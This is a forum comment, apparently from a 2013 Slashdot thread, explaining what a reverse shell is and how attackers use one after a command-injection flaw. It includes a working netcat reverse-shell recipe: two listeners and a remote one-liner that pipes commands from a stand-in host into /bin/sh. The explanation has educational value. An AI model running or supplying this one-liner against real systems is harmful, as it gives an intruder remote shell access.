Re:Reverse Shell Cheat Sheet
by malkia on Wednesday December 18, 2013 @09:31PM
(#6932539)
What is a reverse shell?
[ Parent
| on HN ]
Typically, when you open a secure shell (SSH) connection your client is connecting to a SSH server running on the target machine. A reverse shell occurs when the server initiates a connection with a client that is listening - for example, you have access to a shell to run commands on a target computer (usually through a command injection vulnerability in a website). This means you don't have a full shell - just the ability to run arbitrary commands.
You open a reverse shell which instructs your target computer which is running a SSH server to connect to your client, which allows you to now have a full featured shell at your hands.
Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication.
If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you.
The "classic way" to do this is to run two instances of netcat in listening mode on your machine:
terminal1> nc -l 8001
terminal2> nc -l 8002
Then you run something like this on the remote system: nc your.machine 8001 | /bin/sh | nc your.machine 8002
Now you can enter commands in terminal1 and see their output in terminal2.